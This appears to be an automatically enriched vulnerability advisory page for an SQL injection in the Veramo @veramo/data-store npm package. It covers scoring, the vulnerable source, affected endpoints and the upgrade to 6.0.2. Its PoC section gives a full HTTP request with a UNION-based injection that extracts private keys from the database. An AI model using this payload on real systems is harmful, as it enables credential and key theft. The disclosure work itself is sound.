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OSV ecosystem advisory

GHSA-38cw-85xc-xr9x: Veramo is Vulnerable to SQL Injection in Veramo Data Store ORM

MediumCVSS 6.8 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 27/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. Administrator privileges are required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: @veramo/data-store (npm) 6.0.2.

Low priority for now. Upgrade to @veramo/data-store (npm) 6.0.2 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary An SQL injection vulnerability exists in the `@veramo/data-store` package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the `column` parameter in the `order` array of query requests. ## Details `packages/data-store/src/data-store-orm.ts` (lines 416-434) The vulnerability exists in the `decorateQB()` function which processes query ordering parameters: ```typescript function decorateQB( qb: SelectQueryBuilder<any>, tableName: string, input: FindArgs<any>, ): SelectQueryBuilder<any> { if (input?.skip) qb = qb.offset(input.skip) if (input?.take) qb = qb.limit(input.take) if (input?.order) { for (const item of input.order) { qb = qb.addSelect( qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column), item.column, ) qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction) } } return qb } ``` **Root Cause:** 1. The `item.column` value from user input is passed directly as the **alias** parameter to `addSelect()` without any sanitization or validation 2. While TypeScript defines allowed column types (e.g., `TCredentialColumns = 'context' | 'type' | ...`), this is only compile-time checking 3. At runtime, the function accepts `FindArgs<any>`, allowing arbitrary strings to bypass type restrictions 4. TypeORM inserts the alias directly into the SQL query, enabling SQL injection **Affected Endpoints:** All endpoints are located in `packages/data-store/src/data-store-orm.ts`: | Endpoint | Method | Line | |----------|--------|------| | `dataStoreORMGetIdentifiers` | identifiersQuery() | 85-98 | | `dataStoreORMGetMessages` | messagesQuery() | 129-153 | | `dataStoreORMGetVerifiableCredentialsByClaims` | claimsQuery() | 168-198 | | `dataStoreORMGetVerifiableCredentials` | credentialsQuery() | 227-252 | | `dataStoreORMGetVerifiablePresentations` | presentationsQuery() | 275-297 | All these methods call `decorateQB()` which processes the vulnerable `order` parameter. ## PoC **Prerequisites:** - A running Veramo agent with the REST API exposed (e.g., via `@veramo/remote-server`) - Valid authentication credentials (Bearer token) - The agent uses `@veramo/data-store` with a SQLite or compatible database **Example Exploit to Extract Private Keys From DB:** ```http POST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1 Host: localhost:3332 Content-Length: 811 Authorization: Bearer test123 Content-Type: application/json { "where":[ { "value": [ "string" ], "not": true, "op": "foo", "column":"bar" } ], "skip": 0, "take": 11111232323230, "order": [ { "direction": "ASC","column":"issuanceDate\" AS \"issuanceDate\" FROM \"claim\" \"claim\" LEFT JOIN \"identifier\" \"issuer\" ON \"issuer\".\"did\"=\"claim\".\"issuerDid\" LEFT JOIN \"identifier\" \"subject\" ON \"subject\".\"did\"=\"claim\".\"subjectDid\" LEFT JOIN \"credential\" \"credential\" ON \"credential\".\"hash\"=\"claim\".\"credentialHash\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -" } ] } ``` similar exploit could be used against the other affected endpoints ## Impact **Attack capabilities:** - Complete database read access - Reading or write files into fs depending on dbms used - Database-specific escalation paths - Dos through timebased or multiple long running queries

Published
Jan 16, 2026
Updated
Feb 3, 2026
EPSS
—

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JSON

Action score

27

Monitor

Low priority for now.

CVSS
27 / 40 · 6.8 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

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Affected systems

Is your version affected?

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VendorProduct
npm@veramo/data-store

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npm@veramo/data-storebefore 6.0.26.0.2

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:@veramo/data-store6.0.2Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • Administrator privileges are required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
high · data can be read
Integrity
none
Availability
none

Impact can extend beyond the vulnerable component (scope changes).

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality impact
High
Integrity impact
None
Availability impact
None

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

osv

Root cause

The query text is built by concatenating user input. The database cannot tell where the data ends and the command begins.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
const owner = req.query.owner;const rows = await db.query(  "SELECT * FROM files WHERE owner = '" + owner + "'");

Fixed

ts
const owner = req.query.owner;const rows = await db.query(  "SELECT * FROM files WHERE owner = $1",  [owner]);

References

All records